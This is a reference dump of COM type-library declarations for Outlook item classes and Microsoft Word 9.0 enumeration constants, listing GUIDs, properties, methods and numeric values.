property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class TaskRequestDeclineItem;

GUID={00061053-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class TaskRequestItem;

GUID={00061050-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Class TaskRequestUpdateItem;

GUID={00061051-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

function GetAssociatedTask(AddToTaskList:bool): ^TaskItem;

property-get Links: ^Links;

function Open(Cancel:^bool);

function CustomAction(Action:IDispatch; Response:IDispatch; Cancel:^bool);

function CustomPropertyChange(Name:BSTR);

function Forward(Forward:IDispatch; Cancel:^bool);

function Close(Cancel:^bool);

function PropertyChange(Name:BSTR);

function Read;

function Reply(Response:IDispatch; Cancel:^bool);

function ReplyAll(Response:IDispatch; Cancel:^bool);

function Send(Cancel:^bool);

function Write(Cancel:^bool);

function BeforeCheckNames(Cancel:^bool);

function AttachmentAdd(Attachment:^Attachment);

function AttachmentRead(Attachment:^Attachment);

function BeforeAttachmentSave(Attachment:^Attachment; Cancel:^bool);

Interface _IRecipientControl;

GUID={D87E7E16-6897-11CE-A6C0-00AA00608FAA};

property-get Enabled(out Enabled:^bool): HResult;

property-put Enabled(Enabled:bool): HResult;

property-get BackColor(out BackColor:^I4): HResult;

property-put BackColor(BackColor:I4): HResult;

property-get ForeColor(out ForeColor:^I4): HResult;

property-put ForeColor(ForeColor:I4): HResult;

property-get ReadOnly(out ReadOnly:^bool): HResult;

property-put ReadOnly(ReadOnly:bool): HResult;

property-get Font(out Font:^IDispatch): HResult;

property-put Font(Font:IDispatch): HResult;

property-get SpecialEffect(out Effect:^I4): HResult;

property-put SpecialEffect(Effect:I4): HResult;

Dispatch _DRecipientControl;

GUID={0006F025-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Enabled: bool;

property-put Enabled(bool);

property-get BackColor: I4;

property-put BackColor(I4);

property-get ForeColor: I4;

property-put ForeColor(I4);

property-get ReadOnly: bool;

property-put ReadOnly(bool);

property-get Font: IDispatch;

property-put Font(IDispatch);

property-get SpecialEffect: I4;

property-put SpecialEffect(I4);

Dispatch _DRecipientControlEvents;

GUID={D87E7E17-6897-11CE-A6C0-00AA00608FAA};

Class _RecipientControl;

GUID={0006F023-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Enabled: bool;

property-put Enabled(bool);

property-get BackColor: I4;

property-put BackColor(I4);

property-get ForeColor: I4;

property-put ForeColor(I4);

property-get ReadOnly: bool;

property-put ReadOnly(bool);

property-get Font: IDispatch;

property-put Font(IDispatch);

property-get SpecialEffect: I4;

property-put SpecialEffect(I4);

Interface _IDocSiteControl;

GUID={43507DD0-811D-11CE-B565-00AA00608FAA};

property-get ReadOnly(out ReadOnly:^bool): HResult;

property-put ReadOnly(ReadOnly:bool): HResult;

Dispatch _DDocSiteControl;

GUID={0006F026-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get ReadOnly: bool;

property-put ReadOnly(bool);

Dispatch _DDocSiteControlEvents;

GUID={50BB9B50-811D-11CE-B565-00AA00608FAA};

Class _DocSiteControl;

GUID={0006F024-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get ReadOnly: bool;

property-put ReadOnly(bool);


Word TypeLib(msword9.olb)

///Word VBasic一些常量定义，来自于msword9.olb

Word; // Microsoft Word 9.0 Object Library

Enum WdMailSystem;

wdNoMailSystem = 0;

wdMAPI = 1;

wdPowerTalk = 2;

wdMAPIandPowerTalk = 3;

Enum WdTemplateType;

wdNormalTemplate = 0;

wdGlobalTemplate = 1;

wdAttachedTemplate = 2;

Enum WdContinue;

wdContinueDisabled = 0;

wdResetList = 1;

wdContinueList = 2;

Enum WdIMEMode;

wdIMEModeNoControl = 0;

wdIMEModeOn = 1;

wdIMEModeOff = 2;

wdIMEModeHiragana = 4;

wdIMEModeKatakana = 5;

wdIMEModeKatakanaHalf = 6;

wdIMEModeAlphaFull = 7;

wdIMEModeAlpha = 8;

wdIMEModeHangulFull = 9;

wdIMEModeHangul = 10;

Enum WdBaselineAlignment;

wdBaselineAlignTop = 0;

wdBaselineAlignCenter = 1;

wdBaselineAlignBaseline = 2;

wdBaselineAlignFarEast50 = 3;

wdBaselineAlignAuto = 4;

Enum WdIndexFilter;

wdIndexFilterNone = 0;

wdIndexFilterAiueo = 1;

wdIndexFilterAkasatana = 2;

wdIndexFilterChosung = 3;

wdIndexFilterLow = 4;

wdIndexFilterMedium = 5;

wdIndexFilterFull = 6;

Enum WdIndexSortBy;

wdIndexSortByStroke = 0;

wdIndexSortBySyllable = 1;

Enum WdJustificationMode;

wdJustificationModeExpand = 0;

wdJustificationModeCompress = 1;

wdJustificationModeCompressKana = 2;

Enum WdFarEastLineBreakLevel;

wdFarEastLineBreakLevelNormal = 0;

wdFarEastLineBreakLevelStrict = 1;

wdFarEastLineBreakLevelCustom = 2;

Enum WdMultipleWordConversionsMode;

wdHangulToHanja = 0;

wdHanjaToHangul = 1;

Enum WdColorIndex;

wdAuto = 0;

wdBlack = 1;

wdBlue = 2;

wdTurquoise = 3;

wdBrightGreen = 4;

wdPink = 5;

wdRed = 6;

wdYellow = 7;

wdWhite = 8;

wdDarkBlue = 9;

wdTeal = 10;

wdGreen = 11;

wdViolet = 12;

wdDarkRed = 13;

wdDarkYellow = 14;

wdGray50 = 15;

wdGray25 = 16;

wdByAuthor = -1;

wdNoHighlight = 0;

Enum WdTextureIndex;

wdTextureNone = 0;

wdTexture2Pt5Percent = 25;

wdTexture5Percent = 50;

wdTexture7Pt5Percent = 75;

wdTexture10Percent = 100;

wdTexture12Pt5Percent = 125;

wdTexture15Percent = 150;

wdTexture17Pt5Percent = 175;

wdTexture20Percent = 200;

wdTexture22Pt5Percent = 225;

wdTexture25Percent = 250;

wdTexture27Pt5Percent = $113;

wdTexture30Percent = $12C;

wdTexture32Pt5Percent = $145;

wdTexture35Percent = $15E;

wdTexture37Pt5Percent = $177;

wdTexture40Percent = $190;

wdTexture42Pt5Percent = $1A9;

wdTexture45Percent = $1C2;

wdTexture47Pt5Percent = $1DB;

wdTexture50Percent = $1F4;

wdTexture52Pt5Percent = $20D;

wdTexture55Percent = $226;

wdTexture57Pt5Percent = $23F;

wdTexture60Percent = $258;

wdTexture62Pt5Percent = $271;

wdTexture65Percent = $28A;

wdTexture67Pt5Percent = $2A3;

wdTexture70Percent = $2BC;

wdTexture72Pt5Percent = $2D5;

wdTexture75Percent = $2EE;

wdTexture77Pt5Percent = $307;

wdTexture80Percent = $320;

wdTexture82Pt5Percent = $339;

wdTexture85Percent = $352;

wdTexture87Pt5Percent = $36B;

wdTexture90Percent = $384;

wdTexture92Pt5Percent = $39D;

wdTexture95Percent = $3B6;

wdTexture97Pt5Percent = $3CF;

wdTextureSolid = $3E8;

wdTextureDarkHorizontal = -1;

wdTextureDarkVertical = -2;

wdTextureDarkDiagonalDown = -3;

wdTextureDarkDiagonalUp = -4;

wdTextureDarkCross = -5;

wdTextureDarkDiagonalCross = -6;

wdTextureHorizontal = -7;

wdTextureVertical = -8;

wdTextureDiagonalDown = -9;

wdTextureDiagonalUp = -10;

wdTextureCross = -11;

wdTextureDiagonalCross = -12;

Enum WdUnderline;

wdUnderlineNone = 0;

wdUnderlineSingle = 1;

wdUnderlineWords = 2;

wdUnderlineDouble = 3;

wdUnderlineDotted = 4;

wdUnderlineThick = 6;

wdUnderlineDash = 7;

wdUnderlineDotDash = 9;

wdUnderlineDotDotDash = 10;

wdUnderlineWavy = 11;

wdUnderlineWavyHeavy = 27;

wdUnderlineDottedHeavy = 20;

wdUnderlineDashHeavy = 23;

wdUnderlineDotDashHeavy = 25;

wdUnderlineDotDotDashHeavy = 26;

wdUnderlineDashLong = 39;

wdUnderlineDashLongHeavy = 55;

wdUnderlineWavyDouble = 43;

Enum WdEmphasisMark;

wdEmphasisMarkNone = 0;

wdEmphasisMarkOverSolidCircle = 1;

wdEmphasisMarkOverComma = 2;

wdEmphasisMarkOverWhiteCircle = 3;

wdEmphasisMarkUnderSolidCircle = 4;

Enum WdInternationalIndex;

wdListSeparator = 17;

wdDecimalSeparator = 18;

wdThousandsSeparator = 19;

wdCurrencyCode = 20;

wd24HourClock = 21;

wdInternationalAM = 22;

wdInternationalPM = 23;

wdTimeSeparator = 24;

wdDateSeparator = 25;

wdProductLanguageID = 26;

Enum WdAutoMacros;

wdAutoExec = 0;

wdAutoNew = 1;

wdAutoOpen = 2;

wdAutoClose = 3;

wdAutoExit = 4;

Enum WdCaptionPosition;

wdCaptionPositionAbove = 0;

wdCaptionPositionBelow = 1;

Enum WdCountry;

wdUS = 1;

wdCanada = 2;

wdLatinAmerica = 3;

wdNetherlands = 31;

wdFrance = 33;

wdSpain = 34;

wdItaly = 39;

wdUK = 44;

wdDenmark = 45;

wdSweden = 46;

wdNorway = 47;

wdGermany = 49;

wdPeru = 51;

wdMexico = 52;

wdArgentina = 54;

wdBrazil = 55;

wdChile = 56;

wdVenezuela = 58;

wdJapan = 81;

wdTaiwan = $376;

wdChina = 86;

wdKorea = 82;

wdFinland = $166;

wdIceland = $162;

Enum WdHeadingSeparator;

wdHeadingSeparatorNone = 0;

wdHeadingSeparatorBlankLine = 1;

wdHeadingSeparatorLetter = 2;

wdHeadingSeparatorLetterLow = 3;

wdHeadingSeparatorLetterFull = 4;

Enum WdSeparatorType;

wdSeparatorHyphen = 0;

wdSeparatorPeriod = 1;

wdSeparatorColon = 2;

wdSeparatorEmDash = 3;

wdSeparatorEnDash = 4;

Enum WdPageNumberAlignment;

wdAlignPageNumberLeft = 0;

wdAlignPageNumberCenter = 1;

wdAlignPageNumberRight = 2;

wdAlignPageNumberInside = 3;

wdAlignPageNumberOutside = 4;

Enum WdBorderType;

wdBorderTop = -1;

wdBorderLeft = -2;

wdBorderBottom = -3;

wdBorderRight = -4;

wdBorderHorizontal = -5;

wdBorderVertical = -6;

wdBorderDiagonalDown = -7;

wdBorderDiagonalUp = -8;

Enum WdBorderTypeHID;

emptyenum = 0;

Enum WdFramePosition;

wdFrameTop = $FFF0BDC1;

wdFrameLeft = $FFF0BDC2;

wdFrameBottom = $FFF0BDC3;

wdFrameRight = $FFF0BDC4;

wdFrameCenter = $FFF0BDC5;

wdFrameInside = $FFF0BDC6;

wdFrameOutside = $FFF0BDC7;

Enum WdAnimation;

wdAnimationNone = 0;

wdAnimationLasVegasLights = 1;

wdAnimationBlinkingBackground = 2;

wdAnimationSparkleText = 3;

wdAnimationMarchingBlackAnts = 4;

wdAnimationMarchingRedAnts = 5;

wdAnimationShimmer = 6;

Enum WdCharacterCase;

wdNextCase = -1;

wdLowerCase = 0;

wdUpperCase = 1;

wdTitleWord = 2;

wdTitleSentence = 4;

wdToggleCase = 5;

wdHalfWidth = 6;

wdFullWidth = 7;

wdKatakana = 8;

wdHiragana = 9;

Enum WdCharacterCaseHID;

emptyenum = 0;

Enum WdSummaryMode;

wdSummaryModeHighlight = 0;

wdSummaryModeHideAllButSummary = 1;

wdSummaryModeInsert = 2;

wdSummaryModeCreateNew = 3;

Enum WdSummaryLength;

wd10Sentences = -2;

wd20Sentences = -3;

wd100Words = -4;

wd500Words = -5;

wd10Percent = -6;

wd25Percent = -7;

wd50Percent = -8;

wd75Percent = -9;

Enum WdStyleType;

wdStyleTypeParagraph = 1;

wdStyleTypeCharacter = 2;

Enum WdUnits;

wdCharacter = 1;

wdWord = 2;

wdSentence = 3;

wdParagraph = 4;

wdLine = 5;

wdStory = 6;

wdScreen = 7;

wdSection = 8;

wdColumn = 9;

wdRow = 10;

wdWindow = 11;

wdCell = 12;

wdCharacterFormatting = 13;

wdParagraphFormatting = 14;

wdTable = 15;

wdItem = 16;

Enum WdGoToItem;

wdGoToBookmark = -1;

wdGoToSection = 0;

wdGoToPage = 1;

wdGoToTable = 2;

wdGoToLine = 3;

wdGoToFootnote = 4;

wdGoToEndnote = 5;

wdGoToComment = 6;

wdGoToField = 7;

wdGoToGraphic = 8;

wdGoToObject = 9;

wdGoToEquation = 10;

wdGoToHeading = 11;

wdGoToPercent = 12;

wdGoToSpellingError = 13;

wdGoToGrammaticalError = 14;

wdGoToProofreadingError = 15;

Enum WdGoToDirection;

wdGoToFirst = 1;

wdGoToLast = -1;

wdGoToNext = 2;

wdGoToRelative = 2;

wdGoToPrevious = 3;

wdGoToAbsolute = 1;

Enum WdCollapseDirection;

wdCollapseStart = 1;

wdCollapseEnd = 0;

Enum WdRowHeightRule;

wdRowHeightAuto = 0;

wdRowHeightAtLeast = 1;

wdRowHeightExactly = 2;

Enum WdFrameSizeRule;

wdFrameAuto = 0;

wdFrameAtLeast = 1;

wdFrameExact = 2;

Enum WdInsertCells;

wdInsertCellsShiftRight = 0;

wdInsertCellsShiftDown = 1;

wdInsertCellsEntireRow = 2;

wdInsertCellsEntireColumn = 3;

Enum WdDeleteCells;

wdDeleteCellsShiftLeft = 0;

wdDeleteCellsShiftUp = 1;

wdDeleteCellsEntireRow = 2;

wdDeleteCellsEntireColumn = 3;

Enum WdListApplyTo;

wdListApplyToWholeList = 0;

wdListApplyToThisPointForward = 1;

wdListApplyToSelection = 2;

Enum WdAlertLevel;

wdAlertsNone = 0;

wdAlertsMessageBox = -2;

wdAlertsAll = -1;

Enum WdCursorType;

wdCursorWait = 0;

wdCursorIBeam = 1;

wdCursorNormal = 2;

wdCursorNorthwestArrow = 3;

Enum WdEnableCancelKey;

wdCancelDisabled = 0;

wdCancelInterrupt = 1;

Enum WdRulerStyle;

wdAdjustNone = 0;

wdAdjustProportional = 1;

wdAdjustFirstColumn = 2;

wdAdjustSameWidth = 3;

Enum WdParagraphAlignment;

wdAlignParagraphLeft = 0;

wdAlignParagraphCenter = 1;

wdAlignParagraphRight = 2;

wdAlignParagraphJustify = 3;

wdAlignParagraphDistribute = 4;

wdAlignParagraphJustifyMed = 5;

wdAlignParagraphJustifyHi = 7;

wdAlignParagraphJustifyLow = 8;

Enum WdParagraphAlignmentHID;

emptyenum = 0;

Enum WdListLevelAlignment;

wdListLevelAlignLeft = 0;

wdListLevelAlignCenter = 1;

wdListLevelAlignRight = 2;

Enum WdRowAlignment;

wdAlignRowLeft = 0;

wdAlignRowCenter = 1;

wdAlignRowRight = 2;

Enum WdTabAlignment;

wdAlignTabLeft = 0;

wdAlignTabCenter = 1;

wdAlignTabRight = 2;

wdAlignTabDecimal = 3;

wdAlignTabBar = 4;

wdAlignTabList = 6;

Enum WdVerticalAlignment;

wdAlignVerticalTop = 0;

wdAlignVerticalCenter = 1;

wdAlignVerticalJustify = 2;

wdAlignVerticalBottom = 3;

Enum WdCellVerticalAlignment;

wdCellAlignVerticalTop = 0;

wdCellAlignVerticalCenter = 1;

wdCellAlignVerticalBottom = 3;

Enum WdTrailingCharacter;

wdTrailingTab = 0;

wdTrailingSpace = 1;

wdTrailingNone = 2;

Enum WdListGalleryType;

wdBulletGallery = 1;

wdNumberGallery = 2;

wdOutlineNumberGallery = 3;

Enum WdListNumberStyle;

wdListNumberStyleArabic = 0;

wdListNumberStyleUppercaseRoman = 1;

wdListNumberStyleLowercaseRoman = 2;

wdListNumberStyleUppercaseLetter = 3;

wdListNumberStyleLowercaseLetter = 4;

wdListNumberStyleOrdinal = 5;

wdListNumberStyleCardinalText = 6;

wdListNumberStyleOrdinalText = 7;

wdListNumberStyleKanji = 10;

wdListNumberStyleKanjiDigit = 11;

wdListNumberStyleAiueoHalfWidth = 12;

wdListNumberStyleIrohaHalfWidth = 13;

wdListNumberStyleArabicFullWidth = 14;

wdListNumberStyleKanjiTraditional = 16;

wdListNumberStyleKanjiTraditional2 = 17;

wdListNumberStyleNumberInCircle = 18;

wdListNumberStyleAiueo = 20;

wdListNumberStyleIroha = 21;

wdListNumberStyleArabicLZ = 22;

wdListNumberStyleBullet = 23;

wdListNumberStyleGanada = 24;

wdListNumberStyleChosung = 25;

wdListNumberStyleGBNum1 = 26;

wdListNumberStyleGBNum2 = 27;

wdListNumberStyleGBNum3 = 28;

wdListNumberStyleGBNum4 = 29;

wdListNumberStyleZodiac1 = 30;

wdListNumberStyleZodiac2 = 31;

wdListNumberStyleZodiac3 = 32;

wdListNumberStyleTradChinNum1 = 33;

wdListNumberStyleTradChinNum2 = 34;

wdListNumberStyleTradChinNum3 = 35;

wdListNumberStyleTradChinNum4 = 36;

wdListNumberStyleSimpChinNum1 = 37;

wdListNumberStyleSimpChinNum2 = 38;

wdListNumberStyleSimpChinNum3 = 39;

wdListNumberStyleSimpChinNum4 = 40;

wdListNumberStyleHanjaRead = 41;

wdListNumberStyleHanjaReadDigit = 42;

wdListNumberStyleHangul = 43;

wdListNumberStyleHanja = 44;

wdListNumberStyleHebrew1 = 45;

wdListNumberStyleArabic1 = 46;

wdListNumberStyleHebrew2 = 47;

wdListNumberStyleArabic2 = 48;

wdListNumberStyleLegal = 253;

wdListNumberStyleLegalLZ = 254;

wdListNumberStyleNone = 255;

Enum WdListNumberStyleHID;

emptyenum = 0;

Enum WdNoteNumberStyle;

wdNoteNumberStyleArabic = 0;

wdNoteNumberStyleUppercaseRoman = 1;

wdNoteNumberStyleLowercaseRoman = 2;

wdNoteNumberStyleUppercaseLetter = 3;

wdNoteNumberStyleLowercaseLetter = 4;

wdNoteNumberStyleSymbol = 9;

wdNoteNumberStyleArabicFullWidth = 14;

wdNoteNumberStyleKanji = 10;

wdNoteNumberStyleKanjiDigit = 11;

wdNoteNumberStyleKanjiTraditional = 16;

wdNoteNumberStyleNumberInCircle = 18;

wdNoteNumberStyleHanjaRead = 41;

wdNoteNumberStyleHanjaReadDigit = 42;

wdNoteNumberStyleTradChinNum1 = 33;

wdNoteNumberStyleTradChinNum2 = 34;

wdNoteNumberStyleSimpChinNum1 = 37;

wdNoteNumberStyleSimpChinNum2 = 38;

wdNoteNumberStyleHebrewLetter1 = 45;

wdNoteNumberStyleArabicLetter1 = 46;

wdNoteNumberStyleHebrewLetter2 = 47;

wdNoteNumberStyleArabicLetter2 = 48;

Enum WdNoteNumberStyleHID;

emptyenum = 0;

Enum WdCaptionNumberStyle;

wdCaptionNumberStyleArabic = 0;

wdCaptionNumberStyleUppercaseRoman = 1;

wdCaptionNumberStyleLowercaseRoman = 2;

wdCaptionNumberStyleUppercaseLetter = 3;

wdCaptionNumberStyleLowercaseLetter = 4;

wdCaptionNumberStyleArabicFullWidth = 14;

wdCaptionNumberStyleKanji = 10;

wdCaptionNumberStyleKanjiDigit = 11;

wdCaptionNumberStyleKanjiTraditional = 16;

wdCaptionNumberStyleNumberInCircle = 18;

wdCaptionNumberStyleGanada = 24;

